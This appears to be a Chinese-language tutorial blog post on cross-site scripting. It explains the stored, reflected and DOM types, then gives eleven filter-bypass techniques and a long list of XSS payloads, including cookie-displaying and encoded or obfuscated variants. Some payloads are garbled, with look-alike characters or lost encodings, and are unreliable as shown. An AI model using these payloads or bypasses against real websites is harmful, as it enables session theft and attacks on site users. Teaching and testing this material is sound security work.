分类
XSS攻击大致可以分为三类
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃Cookie
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS
相关知识
一般攻击者构造的EXP是JS代码,因此攻击者的JS代码水平也一定程度上决定了其攻击的效果
同时网上也存在一些免费的XSS平台来构造代码实施攻击
反射型
反射型XSS数据的流向是:前端 -> 后端 -> 前端
一般出现在对用户的输入没有进行严格的过滤,如我们有如下代码:
1
| <?php echo "<p>hello,$_GET['user']</p>"; ?>
|
当网站未对用户输入的名字进行过滤时,我们尝试输入<script>alert("Hacker")</script>那么被网站进行解析时,便会弹出提示框Hacker
常见出现场景
将不可信数据插入到HTML标签之间时;// 例如<div>, <p>;
将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>
将不可信数据插入到SCRIPT里时;// 例如:<script>var message = "$INPUT ";</script>
还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=" property : $INPUT"></span>
将不可信数据插入到HTML URL里时,// 例如:<a href="[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT "></a>
存储型
与反射型XSS产生原因相似,不同的是反射型攻击生效仅有一次,不会保留在服务器中,而存储型XSS,可以保留在服务器中,导致其他用户和管理员访问对应资源时执行了恶意代码
存储型XSS的数据流向是:前端 -> 后端 -> 数据库 -> 后端 -> 前端
我们可以将其理解为我们在某一个页面插入了我们的XSS攻击脚本,数据库会将其保存到服务器中,然后在网站其他地方调用这个数据时,网页会解析我们的攻击脚本,从而再次执行
DOM型
DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
DOM数据流向是: 前端 -> 浏览器
相关利用
XSS相关攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如:<script>alert(1)</script//
<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
1 2 3 4 5
| <script>alert("hack")</script> #弹出hack <script>alert(/hack/)</script> #弹出hack <script>alert(1)</script> #弹出1,对于数字可以不用引号 <script>alert(document.cookie)</script> #弹出cookie <script src=http:
|
svg 标签
1 2
| <svg onload="alert(1)"> <svg onload="alert(1)"//
|
img 标签
1 2
| <img src=1 οnerrοr=alert("hack")> <img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
|
body 标签
1 2
| <body οnlοad=alert(1)> <body οnpageshοw=alert(1)>
|
video 标签
1
| <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
|
style 标签
1
| <style οnlοad=alert(1)></style>
|
a 标签
当我们存在一个<a>标签,我们输入的任何东西都会被添加到<a>标签中的href时,我们可以直接输入Javascript语句进入攻击
相关绕过
绕过一
插入语句被写做为了值时,我们可以手动添加">使前面的标签进行闭合
1
| "><script>alert(1)</script>
|
绕过二
htmlspecialchars()函数把预定义的字符转换为 HTML 实体如:
1 2 3 4 5
| - & (和号)成为 & - " (双引号)成为 " - ' (单引号)成为 ' - < (小于)成为 < - > (大于)成为 >
|
htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过
onfocus 事件在对象获得焦点时发生,常用于<input>、<select>、<a> 标签
我们可以使用鼠标属性,添加一个鼠标点击
1 2
| 'onclick='alert(1) "onclick="alert(1)
|
绕过三
当页面纯在有htmlspecialchars过滤以及onclick过滤时,我们可以将input标签进行提前闭合,然后插入另一个<a></a>标签
1
| "><a href = javascript:alert(1)>hacker</a>
|
或者也可以使用<iframe>标签完成
1
| "><iframe src="javascript:alert(1)"></iframe>
|
绕过四
当我们的一些标签被过滤时,可以尝试更改大小写来尝试绕过
绕过五
当我们的一些关键字直接被删除的方式进行过滤时,我们可以尝试使用双写,再原先标签中再插入一个标签,这种方式方式一般用于没有对我们输入语句循环检测时
绕过六
当我们的JavaScript被过滤时,我们可以尝试将我们的输入进行编码,将其转换为HTML的实体字符
1 2
| 原:javascript:alert 转换后:javascript:alert(1)
|
绕过七
当我们的输入是通过Get的方式进行传参时,网站也过滤了大量的标签,我们可以尝试更换一种传参方式来进行构造
1
| ?t_sort=" onfocus=javascript:alert() type="text
|
绕过八
当我们的输入是通过Post方式进行传参时,我们可以使用BurpSuit对网页进行抓包,观察网页能够提交的内容,修改对应的报文进行发送
绕过九
当文件中出现ng-include时,其可以用于包含外部的HTML文件,默认情况下我们所包含的文件需要在同一个域名下
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
对此我们可以使用如下代码进行包含:
XXX为我们所需要包含的文件,如果XXX存在某种XSS漏洞的话,我们可以利用其存在的问题来操控我们可以包含文件的网页,因此我们有如下payload
1
| ?src='XXX?name=<img src=1 onerror=alert(1)>'
|
绕过十
当我们的空格输入被过滤时,我们可以输入URL编码下的%0A或%0D来进行绕过
绕过十一
当我们遇到<embed>标签时,我们可以使用onclick或onmouseover绕过,因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性
1
| ?arg01=a&arg02=aaa onmousemove='alert(1)'
|
一些Payload
理论上来说XSS漏洞是可以彻底解决的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <script>alert(document.cookie)</script> <script>prompt(document.cookie)</script> <script>confirm(/xss/)</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等 <script>alert(1)</script> //绕过黑名单 <script>(alert)(1)</script> //绕过黑名单 <svg/onload=alert(1)> <body onload=alert("XSS")>
<svg onload="alert(1)"> //过滤 script时 "><svg/onload=alert(1)//
<input value="1" autofocus onfocus=alert(1) x=""> //过滤 script时
<a href="" onclick="alert(1111)">
<iframe src="javascript:alert(1)"></iframe> //过滤 script时
<svg onmousemove="alert(1)">
<input name="name" value=”” onmousemove=prompt(document.cookie) >
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<input type = "button" value ="clickme" onclick="alert('click me')" />
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')"> <IMG SRC="" onerror="javascript:alert('XSS');">
制表符 绕过滤器的 <IMG SRC="" onerror="javšscript:alert('XSS');"> 1.<iframe src=javas cript:alert(1)></iframe> //Tab 2.<iframe src=javas cript:alert(1)></iframe> //回车 3.<iframe src=javas cript:alert(1)></iframe> //换行 4.<iframe src=javascript:alert(1)></iframe> //编码冒号 5.<iframe src=javasc ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持 <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a> <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object>
"><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
<script>onerror=alert;throw document.cookie</script> <script>{onerror=alert}throw 1337</script> //过滤 单引号,双引号,小括号时 没过滤script
<a href="" onclick="alert(1111)"> ' οnclick=alert(1111) '
|